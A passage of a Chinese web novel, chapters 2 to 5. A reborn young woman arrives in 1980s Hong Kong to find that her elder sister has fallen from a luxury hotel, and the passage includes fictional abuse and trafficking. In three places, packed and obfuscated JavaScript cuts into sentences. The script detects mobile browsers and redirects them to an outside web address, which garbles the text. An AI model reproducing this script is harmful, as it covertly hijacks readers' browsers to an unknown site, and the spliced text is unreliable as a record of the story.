《嫁给港城有钱人[八零美食]》 2. 第 2 章 面对警察提出的问题, 周招娣缩了缩脖子,再也不敢吭声。 年轻的警察又看向白沅芝。 白沅芝抿嘴一笑,“是的阿Sir,周香妹是我姨妈,也是她的妈妈。” 她神情自若,“原来你也认识我姨妈啊。” 白沅芝面上的恬淡表情,并不代表她此刻的真实心情。 事实上—— 她已经做好了最坏的心理打算。 是的,白沅芝是个重生者。 她原名周盼娣,出生在湘黔交界大山深处的小山村里。 家里一共七口人,包括父母、四个女儿和一个儿子。 周盼娣行三。 六年前的大年初一,母亲周香妹实在受不了父亲长期的酗酒后家暴,带着年仅十六岁的大姐周思娣出逃。 从此,养家的重担就落在年仅十二岁的周盼娣身上。 但前世的周盼娣从来也不知道,妈妈和大姐竟然去了港城! 更加不知道大姐一直有写信给她! 原来,前世大姐在港城站稳脚跟后,于六年后也就是一九八一年的四月,给周盼娣申请好了移民迁居证明,还给周盼娣寄了去。 可大姐寄来的所有信件、包括那份移民迁居资料全被二姐周念娣占有。 前世的一九八一年四月,二姐周念娣拿着完整的移民迁居证明,冒充周盼娣,带着五弟周宝财去了港城。 她们走前甚至没有告知周盼娣。 周盼娣去干完地里活,回到家才知道已经人去楼空。 这还不是最惨的。 最惨的是—— 周念娣逃跑前害怕周盼娣追了去,于是费尽心思帮周盼娣说了一门“好”亲事,这样才能绊住周盼娣。 愚昧的周根发向来对二女儿的话言听计从。 于是,那天周盼娣刚回到家,就被父亲一棒子打晕。当她醒过来时,已经被父亲卖给了另外一座山头的偏僻村里的四十多岁的老男人! 周盼娣一次又一次的逃路。 但因为不熟悉地形,一次又一次被抓了回去。 老男人用铁链锁住她的手脚…… 屈辱的日子她整整过了三年,才终于找到机会逃回家。 这时,周根发刚死不久。 老四周招娣拿到了周香妹从港城寄来的移民证明,正准备离家。 周盼娣跟着周招娣先去了深城。 周招娣买了船票,堂堂正正地坐船过去。 周盼娣捡了十来个矿泉水瓶子,用绳子捆好空瓶系在身上,远远跟在周招娣乘坐的船后头,游泳去了对岸。 没想到—— 到了港城以后周盼娣才知道,大姐早在三年前,也就是刚寄出移民迁居证明给周盼娣后不久,她就坠楼而亡了! 据说是自沙。 周盼娣花了不少力气才在港城站稳脚跟。 几年后她遇人不淑,才觉察到大姐的死或许另有隐情。 再后来她无意间得到大姐的遗物,才知道大姐曾对她寄予厚望,大姐还有着远大的理想…… 大姐根本不可能自沙! 周盼娣想要调查大姐的死亡真相。 没想到连她自己也死于非命! 一睁眼,周盼娣又回到了一九八一年的深山小村庄。 这一次她守在邮政驿站旁,亲手截胡了大姐寄给她的移民迁居证明,小心收好。 然后策反五弟周宝财。 周宝财的脑子也不算太聪明。 被周盼娣几句“给你二姐说个好婆家,换来彩礼,以后你和爹就能天天吃上酱卤肘子”给迷晕了头。 周念娣被周根发打晕、绑去老男人家里的时候, 周盼娣也一棍子打晕了周财宝,急急外逃。 半路上周招娣追了来,想和她一块儿逃。 周盼娣没拒绝,也没给周招娣太多的帮助。 但在赶往港城之前,周盼娣先顺道去县城派出所把自己的名字给改成了白沅芝。 就这样,白沅芝急急地赶往港城。 她想阻止大姐的死亡。 可是—— 眼前这年轻的警察在听到了“周香妹”这个名字以后,竟然用这样惊讶、意外的表情看着她们姐妹? 白沅芝心里浮起了不好的猜想。 此刻,年轻的警察也正打量着面前这对年轻的姐妹花。 ——白沅芝看起来十六七岁,周招娣看起来年纪差不多。但周招娣既然喊白沅芝三姐,大约比白沅芝小上一两岁。 “我确实认识香姨,”年轻的警察重新启动了车子,朝着启德道驶去,“……严格说来,我家和你姨妈家相隔并不远。我们住同一幢楼,我家楼层高一点,在十六楼。” 白沅芝咬住下唇。 她很想问一句——那,我大姐周思儿现在还好吗? 是的,大姐周思娣后来改名周思儿。 周招娣已经抢着问了起来,“警察先生,原来你认识我妈!真是大水冲了龙王庙,一家人不认识一家人了!” 周招娣彻底放松了下来,又笑眯眯地问,“对了警察先生,我妈和我大姐最近还好吗?” 白沅芝竖起了耳朵。 同时,她也在仔细回忆,前世的大姐是否也有这样一位年轻的警察朋友。 想来想去,白沅芝也没想起来。 年轻的警察沉默了好一会儿才答道:“香姨……最近挺好的。” 周招娣又问,“那我大姐呢?听说她上大学了?” 白沅芝的心,瞬间又提得高高的。 但这一次,年轻的警察久久不答。 白沅芝的心,又一点一点沉了下去。 周招娣还以为警察先生没听清,“警察先生,我是说……” 年轻的警察自我介绍:“我姓江,叫江奕明。” 周招娣从善如流,“奕明哥,我大姐她——” 良久,江奕明才说道:“抱歉啊,我不方便透露周思儿的近况。” 周招娣愣住,转头疑惑地看着白沅芝,眼里盛着满满的疑惑。 白沅芝面色惨白。 江奕明说道:“等见到香姨,你们再问她吧。” 这下子,连周招娣觉察到不妥。她呆呆的,再也不敢开口说话。 白沅芝按压下心底的不安,开始复盘: 前世周香妹对周思儿之死讳莫如深。 而前世的白沅芝到港时,距离周思儿离世已经过去了三年多。 她曾仔细问过周香妹,周思儿的忌日到底是哪一天。 周香妹说是四月二十。 可今天才四月十八。 江奕明的态度,又似乎是周思儿已经…… 所以——< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189243|181049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这到底是怎么一回事?! 车里的气氛很沉重。 江奕明终于把车子驶进佑德花园,又带着白沅芝和周招娣去了周香妹的家。 这时已是凌晨两点。 来开门的,是个身材丰腴、头戴睡帽身穿睡裙,生得珠圆玉润的中年美妇。 她眼窝下挂着厚重的黑眼圈,见来人是江奕明,便操着熟练的白话不耐烦地说道: “小江sir,我已经讲了很多次我不知道周思儿为什么无缘无故出现在碧澜庭酒店,我也不知道她从哪里搞来那么一身性感又高档的情|趣内衣……” “我虽然是她妈妈,但她已经搬出去很久了!而且我们的母女关系很一般,我真的不知道她的事!” “小江sir,我可不可以求求你,至少不要在凌晨两点钟的时候来敲我家的门,问我任何有关于周思儿坠楼的事呢?” 白沅芝当然知道这中年美妇正是她的亲妈——周香妹。 可一听周香妹说的话,白沅芝惊呆了。 所以? 她还是来迟了一步吗? 周招娣也认出了周香妹。 六年不见,记忆中干瘪瘦小的妈妈,不但变胖了、变白了、变美了,竟然还出落成一副贵妇人的模样! 可周招娣高兴不起来。 因为周香妹的话,把周招娣给吓坏了。 她尖叫了起来,“妈!你在说什么?周思儿……大姐她、她死了?” 周香妹愣住。 江奕明难堪地说道:“香姨,我不是来问你思儿的事的,我、我只是在路上遇到了你女儿和你外甥女儿,顺路车她们过来找你而已。” 闻言,周香妹惊讶地看着站在江奕明身后的白沅芝和周招娣,“你们——” 她上上下下地打量着这对姐妹花,露出不可思议的表情,“盼——” “姨妈,我是白沅芝。” 白沅芝打断了周香妹的话。 周香妹一愣。 姨妈? 在闹饥荒的年代里,她家人早死绝了。 她哪来的姐妹? 有人娇着嗓子在周香妹身后喊道:“妈咪,深更半夜的,是谁来了啊?” 很快,两个裹着睡袍的年轻姑娘从屋里挤了出来。 白沅芝当然认识她们。 这两个少女,一个叫吴嘉茵,是周香妹现任丈夫吴豪的女儿; 一个叫李咏珍,是吴豪妹妹的女儿。 吴嘉茵先是一眼看到了江奕明,面上一喜,一声“奕明哥”还没喊出口,就猛然看到了土包子白沅芝和周招娣,不由得一愣。 李咏珍则直接叫嚷了起来,“舅母,她们是谁啊?” 周香妹一脸的为难。 江奕明已经为女孩子们引见了起来: “嘉茵,咏珍,她叫白沅芝,是香姨的外甥女。她叫周招娣,是香姨的女儿。” “沅芝,招娣,她叫吴嘉茵,是香姨现任丈夫吴生的女儿。她叫李咏珍,是吴生的外甥女。” “好了太晚了,你们也早点休息,see you late!” 说完,江奕明转身离开。 女孩子们面面相觑。 吴嘉茵盯着周招娣看了一会儿,露出轻蔑又鄙视的眼神,“妈咪,你到底有几个女儿啊?” 周香妹额头上冒出涔涔冷汗。 3. 第 3 章 白沅芝走进了周香妹的家。 她没有来过这里。 前世的她,是三年后才来的港城。 那时周香妹的家,是一套更加宽敞豪华的欧式装修风格的公寓。 周香妹现在的家么,是典型的偏中式南洋风格的残旧小公寓。 天花板很低,吊着一个带花型玻璃罩灯的吊扇; 客厅不大,地板铺着白绿相间的格纹瓷砖,只能放下一张红木双人沙发和一个茶几, 房间的角落里摆着一台陈旧到褪了色的绿皮日立冰箱, 看起来陈旧又凌乱。 周香妹有点心虚,好声好气地吩咐吴嘉茵和陈咏珍,“嘉茵,咏珍,你们先回房休息。” 吴嘉茵目光不善地盯着周招娣,对周香妹说道:“妈咪,我的房间再也住不下人了,你懂的吧?” 陈咏珍也阴阳怪气地说道:“舅母,这个月舅父还没出粮(发工资),所以家里的米啊面啊也要省着点,不然到时候你又要去赊账,舅父又会不高兴了。” 周香妹的脸,青一阵、红一阵的。 白沅芝觉得有些奇怪。 她已经判断出来——现在的周香妹没有收入来源,经济上只能依赖吴豪。所以吴嘉茵、陈咏珍敢给周香妹甩脸子。 那么一不识字、二无一技之长的周香妹,是怎么做到在三年后,名下拥有了两套房产,一套自住、另一套用来收租,从此让吴豪一家对她言听计从、恨不得把她捧在手心里的呢? 但这并不重要。 重要的是—— 大姐究竟怎么了! 周香妹赔着笑脸对吴嘉茵说道:“你放心啦,她们就是过来看看我,很快就走了。” 周招娣不依了,“妈——” “闭嘴!”周香妹怒视着周招娣。 吴嘉茵笑笑,“妈咪,等我爹哋回来以后,你还是好好跟他解释清楚一下你到底有几个女儿吧……你也知道的,我爹哋最讨厌别人骗他了!” 周香妹脸色难堪。 一旁的周招娣气得眼圈儿都红了,还很不服气地瞪视着吴嘉茵。 吴嘉茵讥讽地看了周招娣一眼,对陈咏珍说了声“我们走”,两人一前一后地走进了房间。 客厅里只剩下了白沅芝、周招娣和周香妹。 白沅芝,“周思儿究竟怎么样了?” 周招娣,“妈,我爸还活着呢,你怎么可以和别的男人结婚?你放着我这个亲生女儿不养,你去养一个和你根本没有血缘关系的女的?” 周香妹,“你们怎么突然来了?招呼也不打一个!” 白沅芝,“其他的事情放一边,你先告诉我周思儿现在还好吗?” 周招娣,“妈你快给我点儿钱,我身上衣裳都湿透了我得买几身全新的!妈我饿,你给我弄点吃的吧,我想吃肉……” 周香妹,“我可不能留你们太久,一会儿天亮了你们赶紧走!” 三人各说话,都只捡对自己最重要的说。 得不到答案的白沅芝急了,站起身冲着周香妹愤怒地吼道:“周思儿她人呢?” 周香妹和周招娣被吓了一跳! 半晌,周招娣也开了口,“是啊妈,大姐到底怎么了?” 周香妹咬住下唇。 几秒钟过后,周香妹叹了口气,“就是你们听到的那样——前几天你们大姐莫名其妙跳了楼!” “虽然她还没死,可也跟死没什么两样了!” “她被送进ICU好几天了,花钱如流水你们懂吗?” “现在警察一直在找我,他们想调查你们大姐为什么要跳楼……可我也不知道啊!她很久以前就没有和我在一起了。” “她只是一个靠打工来读大学的穷学生,没有人知道为什么她会突然出现在碧澜庭!” “啊对了,你们刚从乡下来,还不知道碧澜庭是什么地方吧?” “碧澜庭可是全港城最豪华的酒店!听说那儿一晚上的房钱最便宜也要五位数起!” “也没人知道她为什么会跳楼!” “更加没有人知道,她跳楼的时候为什么还穿着那种不正经的衣裳!” “所以警察猜测她可能……” 说到这儿,周香妹面上流露出只可意会、不可言明的表情。 白沅芝皱紧眉头。 她经历过前世,很相信大姐的人品,现在就很反感周香妹用这样含沙射影的语气来说大姐。 周招娣一脸的呆滞。 刚才妈妈说的话,她听懂了。 但她无法理解。 什么叫做一晚房钱五位数的豪华酒店? 个、十、百、千、万…… 一万块钱睡一晚上? 天哪,两年前三姐拼死拼活在生产队做工,每天早上四点天不亮就起来抢跑,夜里十点多才收工,一个月挣下的工分兑成钱,不过二十块。 这港城果然是个花花世界啊! 等等,什么叫做不正经的衣裳? 难道说,妈妈的意思是——大姐是个风尘女?! …… 白沅芝抓紧时间问出最重要的问题,“是什么时候发生的事?” 周香妹答道:“前天。” 白沅芝皱眉,“前天?” 周香妹想了想,“对……不对,是大前天。” 白沅芝喝问,“到底是哪一天?!” 周香妹深呼吸,“大前天,是四月十五那天。” “她四月十五晚上去的碧澜庭,然后她在那儿呆了整整一天,到了十七号凌晨零点左右,她跳了楼……” “她现在情况怎么样?”白沅继续追问。 周香妹摇头,“我不知道。” 白沅芝觉得难以理解,“你不知道她的情况?你是她亲妈!” 周香妹有些生气,“我又没有钱给她支付医疗费,所以我问那么多干什么呢?她已经是成年人了,她知道她自己的经济情况,当她决定从楼上跳下来之前,她自己就要有这样的觉悟!” 白沅芝冷冷地盯着周香妹。 周招娣也吃惊地看着周香妹。 周香妹恼羞成怒,“你们……什么意思?” 白沅芝冷冷地问道:“她现在在哪?” 周香妹沉默片刻,“圣玛莉亚医院。” 说着,周香妹转移了话题,“对了,你们怎么来了?还有,老三怎么改名字了?你们爸……那个,家里其他人呢?” 这一次,周招娣抢着告诉周香妹: 爹和老五还是老样子,但是二姐嫁人了,三姐收到了大姐寄去的移民迁居材料,她是跟着三姐一块儿来的……至于三姐为什么要改名字么,她也不知道,这事儿还是让三姐自己来说吧! 周香妹很震惊——十八岁的老二居然已经嫁人了?! 但更让她吃惊的是,十七岁的老三竟然胆子那么大,带着十五岁的老四一路从老家来到了港城! 所以??? 老三为什么要把名字改为白沅芝呢? 呐,老大把名字从周思娣改成周思儿,这还比较合理。 那么老三怎么连姓氏都改了? 姓白,名沅芝, 这是有什么说法吗? 白沅芝完全没有想要解释的意思。 她没心情。 一是因为她心里惦记着大姐的安危。 二是因为她发现吴嘉茵的房门悄然裂开了一道缝。 灯光从屋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189244|181049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里照出来,甚至可以看到两个脑袋正扒在门缝那儿往客厅这边看。 周香妹本来沉浸在周招娣的讲述中,十分惊诧。 但见白沅芝频频朝着那边张望, 她循着白沅芝的视线看去,很快就发现吴嘉茵和陈咏珍正在偷听。 周香妹表情微垮,突然高声叫嚷道:“嘉茵,你吃不吃宵夜?我煮面给你吃好吗?” 吓得吴嘉茵砰一声就把房门关上。 过了一会儿,吴嘉茵又此地无银三百两地把门重新裂开一条缝,“妈咪,我不肚饿,不吃了。” “那你和咏珍早点休息吧,要不然明早你们起不来,我倒是可以少做一顿早饭,又省钱了。”周香妹说道。 吴嘉茵悻悻然关上门。 周香妹咬住下唇。 片刻,她小小声对白沅芝和周招娣说道:“你们在这里等一下。” 她进了屋,几分钟以后又出来了,手里还拎着个布包。 她直接走到白沅芝姐妹跟前,一手拉着白沅芝,一手拽起周招娣,带着她往门口走去。 周招娣愣住,“妈?你干什么啊?” 周香妹把周招娣推搡到家门口,打开门,把周招娣推出门外。 白沅芝倒是不需要周香妹动手,很自觉走出了吴家。 周招娣已经意识到什么,又慌又乱,急得眼泪挂在眼角半落不落的,“妈,你别赶我走……别赶我走啊!我和三姐在这里人生地不熟的,你把我们赶走了,我们要怎么活下去啊?” “要不这样吧,你让三姐走,我留在你这儿……” “妈我保证我吃很少的!我还可以帮你干家务活。” “妈!求求你让我留下来!”周招娣哭着哀求道。 周香妹将手里的布袋递给白沅芝,“思儿什么时候给你办的移民手续,我是一点儿也不知道,也跟我无关。” “但我不是你们想像中那样当上了富太太……” “我也是要手心朝上找嘉茵爹哋要钱才能过下去的……” “嘉茵爹哋一个人工作挣钱供养我们四个人已经很辛苦。” “就算是你们大姐,十六岁跟着我来了港城,十七岁她就已经自立更生了。” “现在你们大姐出了事,我也没办法!” “这袋子里是我的几件衣裳,你们拿去穿。另外我还放了一点钱在里头,你们省着花,实在不行你们就回去吧……以后你们不要再来找我了!” 说完,周香妹作势要关门。 白沅芝,“等一下。” 周招娣,“等一下!” 周香妹紧紧地皱起眉头。 周招娣急得哭了起来,“妈,我也是你的亲生女儿,我又不要求你给我吃龙肝凤胆!我只求有个地方住、一天有三餐吃就行,我千辛万苦才来到这儿找你,你……你怎么可以这样对我?妈你、你好狠的心啊你见死不救!” 白沅芝,“明天你找时间出来见我,关于大姐的事,我还有很多细节要问你。别躲,否则我专门挑你老公在家的时候过来问。” 周香妹气得不轻。 但白沅芝的要求明显更靠谱。 于是周香妹想了想,“明天我请你们吃午饭吧,下午两点半钟,双桥街江记烧腊店见。” 白沅芝抓着布袋转身就走。 急得周招娣站在原地直跺脚。 她既不甘心被周香妹赶走,又担心白沅芝真的扔下她不管。 最终—— 当周香妹关上门后,周招娣只好哭着去追白沅芝,“三姐,你有病啊?你就这么走了……我们以后住在哪?吃什么!三姐!我们现在怎么办啊?” “你才有病!你想留在这你就留吧,我要去见大姐。” 4. 第 4 章 白沅芝拎着布包走到电梯口,按了下楼键。 “叮——” 电梯抵达九楼的声音,把悲悲戚戚的周招娣吓了一大跳! 电梯门缓缓打开,一个年轻英俊的青年站在电梯里,看着白沅芝和周招娣露出惊讶的表情,“你们……” 原来,他正是换了一身便衣的江奕明。 他打量着这对姐妹,视线停留在白沅芝手里的布包上,露出“原来如此”的表情。 周招娣窘迫极了。 她想尽快敛住眼泪,又绞尽脑汁地想找到她和三姐为什么会在进入母亲家不到一小时就离开的体面理由…… 可白沅芝已经接过江奕明的话,点头,“对,我们被赶出来了。” 周招娣实在忍不住,哇一声哭了,“奕明哥……” 江奕明很尴尬,硬着头皮问,“那你们……现在有什么打算?” 白沅芝答道:“我们可能需要先找个地方换身衣服。” 说着,她扬了扬手里的布包。 “为什么不在香姨家里换?”江奕明的表情有些为难,“港城街头没有可以换衣服的地方……除非你们去M记消费,这样的话,店员会发给你一把钥匙,你们拿着钥匙去厕所更衣……” 白沅芝直截了当地说道:“我们没有钱去M记消费。” 江奕明闭了嘴。 白沅芝仰头看向江奕明,“小江sir,我想问,你负责我大姐的案子吗?” 江奕明抿嘴不答。 白沅芝继续说道:“我想知道我大姐为什么会去碧澜庭?又为什么会不小心掉下来……请你们警方不要告诉我我大姐是自沙,我不接受这样的理由。” “我姐姐不可能自沙!” “她是一个马上就要毕业的大学生,她前途无量!她为什么要在即将拥有锦绣前途的时候自沙?” “小江sir,我怀疑——” “有人想要谋杀她!”白沅芝大声说道。 江奕明倒抽一口凉气。 周招娣瞪大眼睛,不可思议地说道:“三姐,你疯了啊?妈不是已经说了吗?大姐从楼上掉下来的时候身上穿着那种、那种不体面的衣服……” 白沅芝怒视着周招娣。 周招娣的声音越来越小,“……大姐是去碧澜庭……卖银的吧?要不,连妈都这么穷,大姐哪来的钱上大学?三姐你说——” “啪!!!” 回应周招娣的,是白沅芝的一记耳光。 周招娣惊呆了。 直到电梯落地,又发出“叮”一声响,周招娣才回过神来。 “你打我?”周招娣捂着火辣疼痛的面庞又急又气,但最让她生气的,是因为有个年轻英俊的青年警官江奕明在场。 “白沅芝你有病啊你打我干什么?那又不是我说的!是妈……” 白沅芝冷冷地看着周招娣,一字一句地说道:“他日若有人像你今天污蔑大姐一样的污蔑你,我也绝不答应!” 周招娣愣住。 她扁着嘴,不服气地垂下了头。 这时,江奕明开了口,“白小姐,如果你和周小姐只是想找一个换衣服的地方,我想我可以帮你们。” 周招娣顿时有些忸怩,“啊?奕明哥,你是说……让我我们去你家换衣服吗?这、这不太妥当吧?” 江奕明:…… “是这样的,”江奕明解释道,“我妈在隔壁街开了一家烧腊档,我现在就是要过去帮忙。你们可以跟着我一起去,店里总有地方可以让你们换衣服。” 白沅芝,“太谢谢你了小江sir。” 周招娣讪讪的。 江奕明带着姐妹俩去了隔壁双桥街的江记烧腊。 白沅芝这才意识到,周香妹约她和周招娣吃午饭的地方,就是这儿。 港城凌晨三点,街道狭窄而蜿蜒,漆黑一片,路灯黯淡无光。 街上、地下扔满了垃圾。 可想而知,白天这一带到底有多热闹。 江记烧腊店的店面很小,大约只有七八平方米左右。 店面其实就是烹饪台。 临街的一面有块大玻璃窗,窗内挂着一条铁杆,还垂着不少铁钩,应该是用来挂油鸡、白鸡和烧鹅、烧鸭、叉烧之类的。 一个衣着朴素的中年妇女正在弯腰忙碌。 江奕明过去喊了一声妈。 江婶应声抬头,惊喜地说道:“阿明你来啦?现在还早,怎么不在家里多睡一下?” 江奕明压低了声音跟江婶说了一会儿。 江婶转头看向白沅芝和周招娣。 “你们跟我过来吧!”江婶对姐妹俩说道。 就这样,江奕明在店外帮江婶干活; 江婶则带着白沅芝和周招娴走进烧腊档,又反手关上门,让姐妹俩换衣,又教她俩怎么使用后厨的自来水。 白沅芝用冰冷的淡水擦洗过身体,换上周香妹给的衣裳才觉得身体终于舒爽了。 眼下让她觉得很难受的,就是脚和鞋了——冷冰冰、湿漉漉又黏腻腻的。 但也没办法,还是等见过了大姐以后再说吧。 和白沅芝的麻利爽快不一样, 周招娣慢吞吞的,一边擦身一边凄凄惨惨地哭。 起初江婶还能安慰几句“阿香不会这样的你们好好跟她说”、“放心吧车到山前必有路”和“你们都已经到港城了只要肯做工就不会饿死”之类的…… 到后来见周招娣一直哭一直哭, 江婶不耐烦了,对白沅芝说了句“你们洗好就出来吧”,然后转身走出了档口。 周招娣冲着白沅芝小小声抱怨,“这里的人都好冷漠,都已经看到我们这么惨了,她也不说收留我们,请我们吃点现成的……真是小气吧啦,她儿子还是警察呢!” 白沅芝懒得理会周招娣。 她收拾好自己,就直接朝着门口走去。 周招娣急了,“三姐你干嘛?我、我还没洗完呢!” 白沅芝,“你就慢慢磨叽吧,我要去医院找大姐了。” “哎你等等我!”周招娣是真着急了,三下两下就洗好了、换好衣裳匆匆追了来。 白沅芝已经在向江婶和江奕明道谢,并且向他们询问要怎么坐车,才能去到圣玛莉亚医院。 周招娣走过去,三番四次想开口求江婶和江奕明收留自己, 可无论如何也开不了口, 最后怨气冲天地跟着白沅芝走了。 此时已经是清晨五点多,天已经蒙蒙亮了。 按照江奕明的指点,白沅芝找到了巴士站台,也等到了早班车。 坐在双层巴士上,白沅芝看着窗外熟悉、但又不那么熟悉的街景,陷入沉思。 白沅芝想起了前世的她,经历千辛万苦才来到港城以后的经历。 那时,周家姐弟已经全都呆在港城了。 因为大姐把她的名字从周思娣改为周思儿, 其他姐妹以此类推: 周念娣改名周念儿,周盼娣改名周盼儿,周招娣改名周昭儿。 前世的周盼儿是以偷渡的身份来到港城的。 她基本复刻了大姐当初来港时的的路子——先申请难民身份,领取到微薄的救济金,然后开始一边读夜校,一边四处打工缴税。 她拼命打工,达到港府要求的缴税额度后,终于拿到正式的港城身份。 同时她还攻读夜校,因为拿到文凭以后更好找工作…… 几年后她遇到了宋浚书。 宋浚书也是大陆人,多年前来到港城念大学,毕业后留在这个城市创业,成为上流社会的新贵。 宋浚书帮了周盼儿很多忙。 比如说,她在打工的时候因为过于美丽而屡遭男性客户的骚扰,宋浚书无数次拯救她于水火之中; 比如说,宋浚书帮她杜绝了母亲姐弟们的吸血。 还比如说,宋浚书还为她做过人生、学业上的规划,甚至还帮她补习过! 周盼儿不可自控地爱上了他。 可就在周盼儿即将嫁给宋浚书的头一天晚上,周盼儿发现——宋浚书竟然有一间秘室?! 在宋滩书的秘室里, 满满当当全是她姐姐周思儿的照片、周思儿用过的书本、穿过的衣服,甚至还有周思儿的一本日记! 周盼儿不敢相信,但又不得不相信,原来她的大姐周思儿曾是宋浚书的初恋。 所以? 宋浚书一直到现都深爱着周思儿吗? 他身为港圈新贵,罔顾老钱家千金的倒追,非要娶她这个底层捞妹为妻……这是因为,宋浚书把她当成了周思儿的替身? 周盼儿又惊又怒。 直到周盼儿在宋浚书的密室里发现了姐姐的大学学生证和手写的半份论文草稿。 论文草稿上面写着“论护理仪器半智能自动化的可行性”这几个字, 周盼儿吃了一惊! 她心想,这不是宋浚书正在进行的项目吗? 宋浚书正是因为这个项目,才跻身港城新贵的啊! 周盼儿又翻开了姐姐的日记。 ——姐姐的前半本日记就是一本打工苦旅。 记录着大姐极度渴望得到正式港城身份的愿望,所以她必须要努力赚钱; 同时她焦虑地断定:如果她不把三妹接到港城来,那么迟早有一天,三妹会被父亲和二妹给联手卖掉! 所以把三妹接到港城里,成为她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189245|181049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第二个目标。 她凌乱地记录着今天挣了多少钱、现在她手上有多少钱、距离她的目标还差多少; 可每当她略有积蓄就会被母亲吸血; 内忧外患让她的日记本扉页泪迹斑斑…… 大姐在日记本里展示出来的对周盼儿的担忧,令周盼儿泪如雨下。 在日记的后半本里,大姐记录的重点变成了大学生活起居录…… 只可惜,日记刚看到这里,宋浚书就闯了进来。 此时周盼儿只是很愤怒,她质疑宋浚书为什么不一早告诉她,他是她姐姐的男朋友。 她心里既自卑又愤怒。 自卑的是,大姐和宋浚书才是志同道合的伙伴。而她在学业方面,根本达不到姐姐和宋浚书那样的高度…… 愤怒的是,倘若她知道宋浚书是大姐的男朋友,她又怎会跟准姐夫谈恋爱?! 宋浚书为什么要瞒着她? 没想到—— 当宋浚书看见她呆在密室里,顿时变了脸色,说:“你都知道了?” 周盼儿愣住。 在那一刻,宋浚书冷冷地看着周盼儿,眼里一丝爱意也无。 他一字一句地说道:“既然你都已经知道了,那我就不卖关子了,周思儿的研究成果到底在哪?你别说你不知道,我调查得很清楚——周思儿把东西寄给你了。” 周盼儿惊呆了。 在那一刻,她才意识到宋浚书接近她是另有目的。 她甚至怀疑大姐的死因,是不是跟宋浚书有关。 周盼儿当时就明白了,这个婚,万万不能结。 她必须先想办法离开这儿,再找机会查出真相。 宋浚书开始软语相求。 他说他的公司现在已经濒临破产,只有周思儿的完整设计稿才能拯救公司。 他还哀求周盼儿,说明天就是他和她的婚期,日后结婚了,他的财富也有她的一半。 他还说他一直深爱着周盼儿,又说周思儿已经死了,就不要再让去世已久的人,影响到他和她的感情。 周盼儿在心里估量了一下她和宋浚书的力量差,然后佯装答应。 她又明确表示,确实不知道大姐把稿子放在哪儿了。 宋浚书安慰她说没关系,等结婚以后再慢慢找就是了。 周盼儿跟着宋浚书离开了婚房。 凌晨时分她独自悄然而来,想拿走大姐的日记本,从中寻找线索。 最后的记忆,是她被宋浚书推下了高高的楼梯…… 不过,周盼儿并没有当场死亡。 她被送进医院抢救。 母亲周香妹、二姐周念儿对她见死不救; 只有四妹周昭儿,那个嫌贫爱富、见利忘义又贪生怕死的胆小鬼,她哭着跪求母亲和二姐救周盼儿,被她们冷冷拒绝后,周昭儿变卖了所有的财产和值钱的东西,才勉强凑齐医疗费交到医院; 她还跪在医生面前哭到声嘶力竭,求他们救活她的姐姐…… 再然后,周盼儿重新睁开了眼,变成了白沅芝。 此刻,身畔的周招娣正看着热闹繁华的街景哇个不停。 “哇这里有这么多的房子……” “哇原来港城全是高楼大厦!” “哇路上好多车子啊,姐你看那辆车!它怎么这么扁这么矮?” “哇这里的人都好漂亮好有气质啊!” “哇……” 白沅芝并不喜欢这个妹妹。 但她对周招娣的感情很复杂。 所以这一世当她逃离那个小山村时,她没有拒绝周招娣的跟随,但也没有过多的照顾周招娣; 所以这一世轮到她理直气壮拿着船票坐上轮渡、周招娣跟在后面游,虽然她也担心周招娣年纪小、体力跟不上,但也不会让出自己的船票; 所以当轮渡靠岸时,她为引导周招娣找到合适的地方爬上岸,沿着港岸走了近两公里,好不容易找到一处低地才把周招娣从海里拉了上来…… 当然了,如果不是因为这样,她也不会遇到那个跳海“自尽”的少年。 此刻周招娣的声音又开始担忧焦虑了,“三姐,你说大姐她……不会有事吧?” “我们就这么去,真的不会惹祸上身吗?” “我们又没有钱,万一医院要我们帮大姐出治疗费的话,那怎么办啊?” 白沅芝瞪了周招娣一眼。 她倒是完全不担心大姐的治疗费。 有宋浚书在,而且他还没拿到大姐的科研成果,肯定不会任由大姐死去。 所以—— 白沅芝深呼吸。 这一次,她必须要救活大姐,为前世今生的大姐报仇!也为自己复仇! 5. 第 5 章 白沅芝来到了圣玛莉亚医院。 因为周思儿还在ICU里,所以不被允许探望。 白沅芝想询问一下医生周思儿的病情, 但被告知,医生要对病人的病情保密,尤其周思儿的坠楼还涉及到刑事案件,目前正在调查,所以,除非白沅芝是周思儿的亲属,否则不能告知详细情况。 白沅芝立刻把周招娣推过来,“我是周思儿表妹,她是周思儿的亲妹妹。” 护士打量白周二人片刻,犹豫再三,拿了探视表过来让白沅芝填。 